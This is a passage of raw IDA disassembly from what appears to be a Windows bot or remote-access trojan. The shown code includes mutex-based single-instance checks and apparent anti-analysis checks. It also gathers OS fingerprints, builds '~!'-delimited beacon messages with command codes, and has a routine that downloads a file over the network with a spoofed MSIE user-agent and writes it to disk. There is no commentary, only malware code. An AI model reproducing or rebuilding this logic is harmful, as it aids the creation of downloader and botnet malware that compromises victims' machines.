[esp+4+arg_0] mov [eax+4], esi mov dword ptr [eax], 0Ch mov dword ptr [eax+8], 1 mov al, 1 pop esi retn sub_4032C9 endp ; =============== S U B R O U T I N E ======================================= sub_403316 proc near ; CODE XREF: sub_40336B+13p ; sub_403389+13Ap ... push ebx push esi push offset aIu6uu3wjjhfWyh ; "Iu6Uu3wJJHF%WYHS" xor ebx, ebx push ebx push 2 call ds:dword_41810C mov esi, eax cmp esi, ebx jz short loc_403341 push esi call ds:dword_4180A8 test eax, eax push esi setnz bl call ds:dword_4180A4 loc_403341: ; CODE XREF: sub_403316+16j pop esi mov al, bl pop ebx retn sub_403316 endp ; =============== S U B R O U T I N E ======================================= sub_403346 proc near ; CODE XREF: sub_40336B+8p ; sub_403389+12Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push [esp+arg_4] jz short loc_403362 push [esp+4+arg_0] call ds:dword_4180B8 test eax, eax jnz short loc_403368 mov al, 1 retn ; --------------------------------------------------------------------------- loc_403362: ; CODE XREF: sub_403346+9j call ds:dword_4180C8 loc_403368: ; CODE XREF: sub_403346+17j xor al, al retn sub_403346 endp ; =============== S U B R O U T I N E ======================================= sub_40336B proc near ; CODE XREF: sub_403389+94p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_403346 test al, al pop ecx pop ecx jz short loc_403386 call sub_403316 mov al, 1 retn ; --------------------------------------------------------------------------- loc_403386: ; CODE XREF: sub_40336B+11j xor al, al retn sub_40336B endp ; =============== S U B R O U T I N E ======================================= sub_403389 proc near ; CODE XREF: start+2p var_191 = byte ptr -191h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_188 = byte ptr -188h sub esp, 1A4h call sub_4031BC test al, al jnz loc_403524 call loc_40314E test al, al jnz loc_403524 push ebx push ebp mov ebp, ds:dword_4180C8 push esi push edi push 4E20h call ebp loc_4033BA: ; CODE XREF: sub_403389+162j ; sub_403389+16Ej lea eax, [esp+1A4h+var_18C] push eax call sub_4032C9 pop ecx mov esi, offset aK8jt6hnjmJuiWw ; "K8JT6Hnjm$#jui#WWhHHgG" push esi xor ebx, ebx push ebx push ebx lea eax, [esp+1B0h+var_18C] push eax call ds:dword_4180A0 mov edi, eax cmp edi, ebx jnz short loc_4033FC call ds:dword_418114 cmp eax, 0B7h jnz short loc_4033FC push esi push ebx push 1F0003h call ds:dword_418110 mov edi, eax loc_4033FC: ; CODE XREF: sub_403389+55j ; sub_403389+62j push 7530h call ebp call sub_40320F lea eax, [esp+1ACh+var_188] push eax push 2 call ds:dword_4181B4 jmp short loc_403439 ; --------------------------------------------------------------------------- loc_403417: ; CODE XREF: sub_403389+C1j push 927C0h push edi call sub_40336B test al, al pop ecx pop ecx jz short loc_40342A mov bl, 1 loc_40342A: ; CODE XREF: sub_403389+9Dj mov eax, [esi] mov ecx, esi call dword ptr [eax+4] test bl, bl jnz loc_403505 loc_403439: ; CODE XREF: sub_403389+8Cj xor bl, bl call sub_40BF8E mov esi, eax mov eax, [esi] mov ecx, esi call dword ptr [eax] test al, al jz short loc_403417 push 0EA60h call ebp and [esp+1A4h+var_190], 0 mov [esp+1A4h+var_191], 1 mov eax, [esi] mov ecx, esi call dword ptr [eax+10h] test al, al jz short loc_403487 push 130h call sub_40D0BB test eax, eax pop ecx jz short loc_4034A6 lea ecx, [esp+1A4h+var_191] push ecx push edi push esi mov ecx, eax call sub_406E37 jmp short loc_4034A8 ; --------------------------------------------------------------------------- loc_403487: ; CODE XREF: sub_403389+DDj push 51A0h call sub_40D0BB test eax, eax pop ecx jz short loc_4034A6 lea ecx, [esp+1A4h+var_191] push ecx push edi push esi mov ecx, eax call sub_4058DF jmp short loc_4034A8 ; --------------------------------------------------------------------------- loc_4034A6: ; CODE XREF: sub_403389+ECj ; sub_403389+10Bj xor eax, eax loc_4034A8: ; CODE XREF: sub_403389+FCj ; sub_403389+11Bj push eax lea ecx, [esp+1A8h+var_190] call sub_404191 push 0FFFFFFFFh push edi call sub_403346 cmp [esp+1ACh+var_191], 0 pop ecx pop ecx jz short loc_4034C8 call sub_403316 loc_4034C8: ; CODE XREF: sub_403389+138j push 0 lea ecx, [esp+1A8h+var_190] call sub_404191 test edi, edi jz short loc_4034DE push edi call ds:dword_4180A4 loc_4034DE: ; CODE XREF: sub_403389+14Cj cmp [esp+1A4h+var_191], 0 jnz short loc_4034FC mov ecx, [esp+1A4h+var_190] test ecx, ecx jz loc_4033BA mov eax, [ecx] push 1 call dword ptr [eax] jmp loc_4033BA ; --------------------------------------------------------------------------- loc_4034FC: ; CODE XREF: sub_403389+15Aj ; sub_403389+17Aj push 5F5E100h call ebp jmp short loc_4034FC ; --------------------------------------------------------------------------- loc_403505: ; CODE XREF: sub_403389+AAj call sub_403316 test edi, edi jz short loc_403515 push edi call ds:dword_4180A4 loc_403515: ; CODE XREF: sub_403389+183j pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 1A4h retn 4 ; --------------------------------------------------------------------------- loc_403524: ; CODE XREF: sub_403389+Dj ; sub_403389+1Aj ... push 5F5E100h call ds:dword_4180C8 jmp short loc_403524 sub_403389 endp ; =============== S U B R O U T I N E ======================================= public start start proc near push 0 call sub_403389 retn start endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_403539 proc near ; CODE XREF: sub_403AA0+3Fp var_114 = byte ptr -114h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 114h lea eax, [ebp+74h+var_94] push eax mov [ebp+74h+var_94], 94h call ds:dword_418118 mov eax, [ebp+74h+var_90] sub eax, 3 jz loc_4035F9 dec eax mov ecx, [ebp+74h+var_8C] jz short loc_403599 dec eax jz short loc_403577 dec eax jnz short loc_4035A7 push offset aWindowsVista ; "Windows Vista" jmp loc_4035FE ; --------------------------------------------------------------------------- loc_403577: ; CODE XREF: sub_403539+2Fj mov eax, ecx sub eax, 0 jz short loc_403592 dec eax jz short loc_40358B dec eax jnz short loc_4035A7 push offset aWindows2003 ; "Windows 2003" jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_40358B: ; CODE XREF: sub_403539+46j push offset aWindowsXp ; "Windows XP" jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_403592: ; CODE XREF: sub_403539+43j push offset aWindows2000 ; "Windows 2000" jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_403599: ; CODE XREF: sub_403539+2Cj test ecx, ecx jz short loc_4035E7 cmp ecx, 0Ah jz short loc_4035E0 cmp ecx, 5Ah jz short loc_4035D9 loc_4035A7: ; CODE XREF: sub_403539+32j ; sub_403539+49j cmp [ebp+74h+var_84], 2 mov eax, offset aNt ; "NT" jz short loc_4035B7 mov eax, offset a32 ; "32" loc_4035B7: ; CODE XREF: sub_403539+77j push ecx push [ebp+74h+var_90] push eax lea eax, [ebp+74h+var_114] push offset aWinSD_D ; "Win%s %d.%d" push eax call sub_40CE18 add esp, 14h lea eax, [ebp+74h+var_114] loc_4035D6: ; CODE XREF: sub_403539+B7j ; sub_403539+BEj push eax jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_4035D9: ; CODE XREF: sub_403539+6Cj push offset aWindowsMe ; "Windows Me" jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_4035E0: ; CODE XREF: sub_403539+67j push offset aWindows98 ; "Windows 98" jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_4035E7: ; CODE XREF: sub_403539+62j cmp [ebp+74h+var_84], 2 mov eax, offset aWindowsNt4_0 ; "Windows NT 4.0" jz short loc_4035D6 mov eax, offset aWindows95 ; "Windows 95" jmp short loc_4035D6 ; --------------------------------------------------------------------------- loc_4035F9: ; CODE XREF: sub_403539+22j push offset aWindowsnt3_51 ; "WindowsNT 3.51" loc_4035FE: ; CODE XREF: sub_403539+39j ; sub_403539+50j ... mov ecx, [ebp+74h+arg_0] call sub_401AA0 mov ecx, [ebp+74h+arg_0] push offset asc_41BC28 ; " " call sub_401AA0 mov ecx, [ebp+74h+arg_0] lea eax, [ebp+74h+var_80] push eax call sub_401AA0 add ebp, 74h leave retn sub_403539 endp ; =============== S U B R O U T I N E ======================================= sub_403624 proc near ; CODE XREF: sub_405263+187p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] mov dword_421CEC, eax retn 4 sub_403624 endp ; =============== S U B R O U T I N E ======================================= sub_403632 proc near ; CODE XREF: sub_403697+Ap ; sub_403A87+11p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push esi push edi push dword_421CEC mov esi, offset asc_41BCC0 ; "~!" push esi call sub_40DB2F mov edi, eax test edi, edi jz short loc_403678 mov ecx, dword_421CEC sub eax, ecx test eax, eax jle short loc_403666 push eax push ecx mov ecx, [esp+10h+arg_4] call sub_40DB5E loc_403666: ; CODE XREF: sub_403632+27j push esi call sub_40CD83 add eax, edi mov dword_421CEC, eax pop ecx mov al, 1 jmp short loc_403692 ; --------------------------------------------------------------------------- loc_403678: ; CODE XREF: sub_403632+1Bj mov ecx, [esp+8+arg_4] push 0 push dword_421CEC call sub_40DB5E and dword_421CEC, 0 xor al, al loc_403692: ; CODE XREF: sub_403632+44j pop edi pop esi retn 8 sub_403632 endp ; =============== S U B R O U T I N E ======================================= sub_403697 proc near ; CODE XREF: sub_404AB9+1Ap ; sub_404AB9+37p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push esi push [esp+8+arg_0] call sub_403632 test al, al jz short loc_4036C0 mov eax, [esi] test eax, eax jz short loc_4036C0 push eax call sub_40CD83 test eax, eax pop ecx jbe short loc_4036C0 xor eax, eax inc eax jmp short loc_4036C2 ; --------------------------------------------------------------------------- loc_4036C0: ; CODE XREF: sub_403697+11j ; sub_403697+17j ... xor eax, eax loc_4036C2: ; CODE XREF: sub_403697+27j pop esi retn 8 sub_403697 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036C6 proc near ; CODE XREF: sub_403B7F+35p var_C = byte ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, ecx xor ebx, ebx lea ecx, [ebp+var_C] mov [ebp+var_1], bl call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 push ebx push offset a5 ; "5" lea ecx, [ebp+var_8] call sub_40DBA2 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [edi+70h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push [ebp+arg_0] call ds:dword_41811C push eax lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push ebx push [ebp+arg_0] lea ecx, [ebp+var_8] call sub_40DBA2 push ebx lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax mov ecx, edi call sub_404905 test al, al pop edi pop esi pop ebx jz short loc_40376F mov [ebp+var_1], 1 loc_40376F: ; CODE XREF: sub_4036C6+A3j lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 mov al, [ebp+var_1] leave retn 4 sub_4036C6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403786 proc near ; CODE XREF: sub_403DE0+33p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov edi, ecx xor ebx, ebx lea ecx, [ebp+var_C] mov [ebp+var_10], edi mov [ebp+var_1], bl call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 push ebx push offset a9 ; "9" lea ecx, [ebp+var_8] call sub_40DBA2 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_8] call sub_40DBA2 push dword ptr [edi+70h] lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push 23h lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 mov edi, [ebp+arg_0] mov eax, [edi] cmp eax, ebx jnz short loc_4037FC xor eax, eax jmp short loc_403803 ; --------------------------------------------------------------------------- loc_4037FC: ; CODE XREF: sub_403786+70j push eax call sub_40CD83 pop ecx loc_403803: ; CODE XREF: sub_403786+74j push eax lea ecx, [ebp+var_8] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_8] call sub_40DBA2 push ebx push dword ptr [edi] lea ecx, [ebp+var_8] call sub_40DBA2 mov ecx, [ebp+var_10] push ebx lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_404905 test al, al pop edi pop esi pop ebx jz short loc_40383D mov [ebp+var_1], 1 loc_40383D: ; CODE XREF: sub_403786+B1j lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 mov al, [ebp+var_1] leave retn 4 sub_403786 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403854 proc near ; CODE XREF: sub_403AA0+27p var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax mov [ebp+var_4], 10h call ds:dword_418120 mov ecx, [ebp+arg_0] lea eax, [ebp+var_14] push eax call sub_401AA0 leave retn 4 sub_403854 endp ; =============== S U B R O U T I N E ======================================= sub_40387F proc near ; CODE XREF: sub_405069+6j ; sub_405675+27p ... cmp dword ptr [ecx+7Ch], 0 jz short loc_40389A mov eax, [ecx+80h] mov byte ptr [eax], 0 push dword ptr [ecx+7Ch] call ds:dword_4180A8 mov al, 1 retn ; --------------------------------------------------------------------------- loc_40389A: ; CODE XREF: sub_40387F+4j xor al, al retn sub_40387F endp ; =============== S U B R O U T I N E ======================================= sub_40389D proc near ; CODE XREF: sub_403ED0+218p cmp dword ptr [ecx+7Ch], 0 jz short loc_4038B8 mov eax, [ecx+80h] mov byte ptr [eax], 1 push dword ptr [ecx+7Ch] call ds:dword_4180A8 mov al, 1 retn ; --------------------------------------------------------------------------- loc_4038B8: ; CODE XREF: sub_40389D+4j xor al, al retn sub_40389D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BB proc near ; CODE XREF: sub_403ED0+1C1p var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi push [ebp+arg_0] lea ecx, [ebp+var_4] call sub_40DCEB mov eax, [ebp+var_4] push 2Fh push eax mov [ebp+var_14], eax call sub_40CEE6 mov esi, eax xor ebx, ebx cmp esi, ebx pop ecx pop ecx jz loc_403A78 push esi call sub_40CD83 cmp eax, 2 pop ecx jb loc_403A78 push 2Fh push [ebp+var_4] inc esi mov [ebp+var_8], esi call sub_40CECD cmp eax, ebx pop ecx pop ecx jz loc_403A78 mov esi, ds:dword_418168 push ebx push ebx push ebx mov [eax], bl push ebx inc eax mov edi, offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... push edi mov [ebp+var_C], eax call esi cmp eax, ebx mov [ebp+var_10], eax jnz short loc_403945 push ebx push ebx push ebx push 1 push edi call esi cmp eax, ebx mov [ebp+var_10], eax jz loc_403A78 loc_403945: ; CODE XREF: sub_4038BB+75j push ebx push ebx push 3 push ebx push offset aAnonymous ; "anonymous" push 50h push [ebp+var_14] push [ebp+var_10] call ds:dword_418160 cmp eax, ebx mov [ebp+var_1C], eax jz loc_403A63 push ebx push 80000100h push ebx push ebx push ebx push [ebp+var_C] push ebx push eax call ds:dword_418178 cmp eax, ebx mov [ebp+var_C], eax jz loc_403A5A push ebx push ebx push ebx push ebx push eax call ds:dword_418164 test eax, eax jz loc_403A51 mov esi, [ebp+arg_4] push 105h mov ecx, esi call sub_40DADA push dword ptr [esi] push 104h call ds:dword_4180F8 push ebx push offset asc_41BCCC ; "\\" mov ecx, esi call sub_40DBA2 push ebx push [ebp+var_8] mov ecx, esi call sub_40DBA2 push ebx push 80h push 2 push ebx push 7 push 40000000h push dword ptr [esi] call ds:dword_418100 cmp eax, 0FFFFFFFFh mov [ebp+var_14], eax jz short loc_403A51 mov edi, ds:dword_418170 mov [ebp+var_8], ebx jmp short loc_403A37 ; --------------------------------------------------------------------------- loc_4039F9: ; CODE XREF: sub_4038BB+189j cmp [ebp+var_8], ebx jbe short loc_403A46 push [ebp+var_8] call sub_40D0BB pop ecx mov esi, eax lea eax, [ebp+var_18] push eax push [ebp+var_8] push esi push [ebp+var_C] call ds:dword_41816C push ebx lea eax, [ebp+var_20] push eax push [ebp+var_18] push esi push [ebp+var_14] call ds:dword_4180FC cmp esi, ebx jz short loc_403A37 push esi call sub_40D0B6 pop ecx loc_403A37: ; CODE XREF: sub_4038BB+13Cj ; sub_4038BB+173j push ebx push ebx lea eax, [ebp+var_8] push eax push [ebp+var_C] call edi test eax, eax jnz short loc_4039F9 loc_403A46: ; CODE XREF: sub_4038BB+141j push [ebp+var_14] call ds:dword_4180A4 mov bl, 1 loc_403A51: ; CODE XREF: sub_4038BB+D9j ; sub_4038BB+131j push [ebp+var_C] call ds:dword_41817C loc_403A5A: ; CODE XREF: sub_4038BB+C6j push [ebp+var_1C] call ds:dword_41817C loc_403A63: ; CODE XREF: sub_4038BB+A7j push [ebp+var_10] call ds:dword_41817C lea ecx, [ebp+var_4] call sub_40DB59 mov al, bl jmp short loc_403A82 ; --------------------------------------------------------------------------- loc_403A78: ; CODE XREF: sub_4038BB+2Aj ; sub_4038BB+3Aj ... lea ecx, [ebp+var_4] call sub_40DB59 xor al, al loc_403A82: ; CODE XREF: sub_4038BB+1BBj pop edi pop esi pop ebx leave retn sub_4038BB endp ; =============== S U B R O U T I N E ======================================= sub_403A87 proc near ; CODE XREF: sub_403ED0+C0p ; sub_404E95+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push [esp+arg_4] mov edx, [eax] push eax mov dword_421CEC, edx call sub_403632 retn 8 sub_403A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AA0 proc near ; CODE XREF: sub_404E95+1Ap ; sub_4062A6+6Ap var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_4] call sub_40DB48 xor ebx, ebx push ebx push offset a1_0 ; "1~!" lea ecx, [ebp+var_4] call sub_40DBA2 lea eax, [ebp+var_4] push eax mov ecx, edi call sub_403854 push ebx mov esi, offset asc_41BCC0 ; "~!" push esi lea ecx, [ebp+var_4] call sub_40DBA2 lea eax, [ebp+var_4] push eax call sub_403539 pop ecx push ebx push esi lea ecx, [ebp+var_4] call sub_40DBA2 push dword ptr [edi+70h] lea ecx, [ebp+var_4] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_4] call sub_40DBA2 cmp [edi+78h], bl mov eax, offset a1 ; "1" jnz short loc_403B13 mov eax, offset a0 ; "0" loc_403B13: ; CODE XREF: sub_403AA0+6Cj push ebx push eax lea ecx, [ebp+var_4] call sub_40DBA2 push ebx push esi lea ecx, [ebp+var_4] call sub_40DBA2 push 23h lea ecx, [ebp+var_4] call sub_40DBF8 push ebx push esi lea ecx, [ebp+var_4] call sub_40DBA2 cmp [edi+79h], bl mov eax, offset a1 ; "1" jnz short loc_403B4A mov eax, offset a0 ; "0" loc_403B4A: ; CODE XREF: sub_403AA0+A3j push ebx push eax lea ecx, [ebp+var_4] call sub_40DBA2 push ebx push [ebp+arg_0] lea eax, [ebp+var_4] push eax mov ecx, edi call sub_404905 cmp al, bl mov byte ptr [ebp+arg_0+3], al jz short loc_403B6D mov [edi+78h], bl loc_403B6D: ; CODE XREF: sub_403AA0+C8j lea ecx, [ebp+var_4] call sub_40DB59 mov al, byte ptr [ebp+arg_0+3] pop edi pop esi pop ebx leave retn 4 sub_403AA0 endp ; =============== S U B R O U T I N E ======================================= sub_403B7F proc near ; CODE XREF: sub_405074+BFp ; sub_4062A6+80p arg_0 = dword ptr 4 push ebx push edi mov edi, ecx mov ecx, [edi+8Ch] xor bl, bl test ecx, ecx jz short loc_403BE0 cmp [ecx+48h], bl jz short loc_403BE0 push ebp push esi mov ebp, 7800h jmp short loc_403BC3 ; --------------------------------------------------------------------------- loc_403B9D: ; CODE XREF: sub_403B7F+4Ej mov eax, [esp+10h+arg_0] push 1 push 0 push dword ptr [eax] call ds:dword_4180B0 test eax, eax jz short loc_403BD3 push esi mov ecx, edi call sub_4036C6 test al, al jz short loc_403BD1 mov ecx, [edi+8Ch] loc_403BC3: ; CODE XREF: sub_403B7F+1Cj push ebp call sub_4087FF mov esi, eax test esi, esi jnz short loc_403B9D jmp short loc_403BDE ; --------------------------------------------------------------------------- loc_403BD1: ; CODE XREF: sub_403B7F+3Cj mov bl, 1 loc_403BD3: ; CODE XREF: sub_403B7F+30j test esi, esi jz short loc_403BDE push esi call sub_40CCC5 pop ecx loc_403BDE: ; CODE XREF: sub_403B7F+50j ; sub_403B7F+56j pop esi pop ebp loc_403BE0: ; CODE XREF: sub_403B7F+Ej ; sub_403B7F+13j xor eax, eax test bl, bl pop edi setz al pop ebx retn 4 sub_403B7F endp ; =============== S U B R O U T I N E ======================================= sub_403BEC proc near ; CODE XREF: sub_403DAE+1Ap push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_403C07 mov ecx, edi call sub_408785 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_403C07: ; CODE XREF: sub_403BEC+8j pop edi pop esi retn sub_403BEC endp ; =============== S U B R O U T I N E ======================================= sub_403C0A proc near ; CODE XREF: sub_403CCB+84p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov esi, [edi] test esi, esi jz short loc_403C2B cmp ebx, esi jz short loc_403C2B mov ecx, esi call sub_408785 push esi call sub_40D0B6 pop ecx loc_403C2B: ; CODE XREF: sub_403C0A+Dj ; sub_403C0A+11j mov [edi], ebx pop edi pop esi mov eax, ebx pop ebx retn 4 sub_403C0A endp ; =============== S U B R O U T I N E ======================================= sub_403C35 proc near ; CODE XREF: sub_403DAE+Fp push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_403C50 mov ecx, edi call sub_409128 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_403C50: ; CODE XREF: sub_403C35+8j pop edi pop esi retn sub_403C35 endp ; =============== S U B R O U T I N E ======================================= sub_403C53 proc near ; CODE XREF: sub_403CCB+D6p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov esi, [edi] test esi, esi jz short loc_403C74 cmp ebx, esi jz short loc_403C74 mov ecx, esi call sub_409128 push esi call sub_40D0B6 pop ecx loc_403C74: ; CODE XREF: sub_403C53+Dj ; sub_403C53+11j mov [edi], ebx pop edi pop esi mov eax, ebx pop ebx retn 4 sub_403C53 endp ; =============== S U B R O U T I N E ======================================= sub_403C7E proc near ; CODE XREF: sub_403DE0+4Ep push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_403C99 mov ecx, edi call sub_40DB59 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_403C99: ; CODE XREF: sub_403C7E+8j pop edi pop esi retn sub_403C7E endp ; =============== S U B R O U T I N E ======================================= sub_403C9C proc near ; CODE XREF: sub_403E3F+2Bp arg_0 = dword ptr 4 push esi mov esi, ecx cmp dword ptr [esi], 0 push edi jz short loc_403CAA call sub_401F85 loc_403CAA: ; CODE XREF: sub_403C9C+7j mov edi, [esp+8+arg_0] mov eax, edi shl eax, 2 push 1 push eax call sub_40CA2C test eax, eax pop ecx pop ecx mov [esi], eax jz short loc_403CC6 mov [esi+4], edi loc_403CC6: ; CODE XREF: sub_403C9C+25j pop edi pop esi retn 4 sub_403C9C endp ; =============== S U B R O U T I N E ======================================= sub_403CCB proc near ; CODE XREF: sub_4058DF+14p ; sub_406E37+13p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] mov esi, ecx call sub_404949 mov al, [esp+0Ch+arg_C] mov [esi+79h], al mov eax, [esp+0Ch+arg_4] mov [esi+7Ch], eax mov eax, [esp+0Ch+arg_8] lea edi, [esi+84h] mov ecx, edi mov dword ptr [esi], offset off_41BD24 mov [esi+80h], eax call sub_402FCB lea eax, [esi+74h] lea ebx, [esi+8Ch] and dword ptr [ebx], 0 and dword ptr [esi+90h], 0 push eax mov ecx, edi call sub_4030E3 lea eax, [esi+70h] push eax mov ecx, edi call sub_403078 neg al sbb al, al inc al mov [esi+78h], al jz short loc_403D83 push 4Ch call sub_40D0BB test eax, eax pop ecx jz short loc_403D4A mov ecx, eax call sub_408CDF jmp short loc_403D4C ; --------------------------------------------------------------------------- loc_403D4A: ; CODE XREF: sub_403CCB+74j xor eax, eax loc_403D4C: ; CODE XREF: sub_403CCB+7Dj push eax mov ecx, ebx call sub_403C0A push 0 call sub_40CFAE push eax call sub_40CF2A pop ecx pop ecx call sub_40CF34 movzx ebx, ax shl ebx, 10h call sub_40CF34 movzx eax, ax or eax, ebx push eax mov ecx, edi mov [esi+70h], eax call sub_4030AA loc_403D83: ; CODE XREF: sub_403CCB+68j push 4Ch call sub_40D0BB test eax, eax pop ecx jz short loc_403D98 mov ecx, eax call sub_40939B jmp short loc_403D9A ; --------------------------------------------------------------------------- loc_403D98: ; CODE XREF: sub_403CCB+C2j xor eax, eax loc_403D9A: ; CODE XREF: sub_403CCB+CBj push eax lea ecx, [esi+90h] call sub_403C53 pop edi mov eax, esi pop esi pop ebx retn 10h sub_403CCB endp ; =============== S U B R O U T I N E ======================================= sub_403DAE proc near ; CODE XREF: sub_403E74+3p ; sub_404FDE+86j ... push esi mov esi, ecx lea ecx, [esi+90h] mov dword ptr [esi], offset off_41BD24 call sub_403C35 lea ecx, [esi+8Ch] call sub_403BEC lea ecx, [esi+84h] call sub_403061 mov ecx, esi pop esi jmp sub_40444C sub_403DAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DE0 proc near ; CODE XREF: sub_405074+CEp ; sub_4062A6+87p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push edi mov edi, ecx mov ecx, [edi+90h] xor bl, bl test ecx, ecx jz short loc_403E34 push esi call sub_40906B mov esi, eax mov eax, [esi] test eax, eax mov [ebp+var_4], esi jz short loc_403E2B push eax call sub_40CD83 test eax, eax pop ecx jz short loc_403E2B push esi mov ecx, edi call sub_403786 test al, al jnz short loc_403E20 inc bl jmp short loc_403E2B ; --------------------------------------------------------------------------- loc_403E20: ; CODE XREF: sub_403DE0+3Aj mov ecx, [edi+90h] call sub_409006 loc_403E2B: ; CODE XREF: sub_403DE0+23j ; sub_403DE0+2Ej ... lea ecx, [ebp+var_4] call sub_403C7E pop esi loc_403E34: ; CODE XREF: sub_403DE0+12j xor eax, eax test bl, bl pop edi setz al pop ebx leave retn sub_403DE0 endp ; =============== S U B R O U T I N E ======================================= sub_403E3F proc near ; CODE XREF: sub_403E90+8p arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi] test eax, eax push edi jz short loc_403E66 mov edi, [esp+8+arg_0] mov ecx, edi shl ecx, 2 push ecx push eax call sub_40CA55 test eax, eax pop ecx pop ecx jz short loc_403E6F mov [esi+4], edi mov [esi], eax jmp short loc_403E6F ; --------------------------------------------------------------------------- loc_403E66: ; CODE XREF: sub_403E3F+8j push [esp+8+arg_0] call sub_403C9C loc_403E6F: ; CODE XREF: sub_403E3F+1Ej ; sub_403E3F+25j pop edi pop esi retn 4 sub_403E3F endp ; =============== S U B R O U T I N E ======================================= sub_403E74 proc near ; DATA XREF: .rdata:off_41BD24o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_403DAE test [esp+4+arg_0], 1 jz short loc_403E8A push esi call sub_40D0B6 pop ecx loc_403E8A: ; CODE XREF: sub_403E74+Dj mov eax, esi pop esi retn 4 sub_403E74 endp ; =============== S U B R O U T I N E ======================================= sub_403E90 proc near ; CODE XREF: sub_403EB3+1p ; sub_4080EA+139p ... push esi mov esi, ecx mov eax, [esi+4] inc eax push eax call sub_403E3F mov eax, [esi+4] mov ecx, [esi] lea ecx, [ecx+eax*4-4] test ecx, ecx pop esi jz short loc_403EB0 jmp sub_40DB48 ; --------------------------------------------------------------------------- loc_403EB0: ; CODE XREF: sub_403E90+19j xor eax, eax retn sub_403E90 endp ; =============== S U B R O U T I N E ======================================= sub_403EB3 proc near ; CODE XREF: sub_403ED0+106p arg_0 = dword ptr 4 push esi call sub_403E90 mov esi, eax mov eax, [esp+4+arg_0] push 0 push dword ptr [eax] mov ecx, esi call sub_40DB5E mov eax, esi pop esi retn 4 sub_403EB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403ED0 proc near ; CODE XREF: sub_405074+31p ; 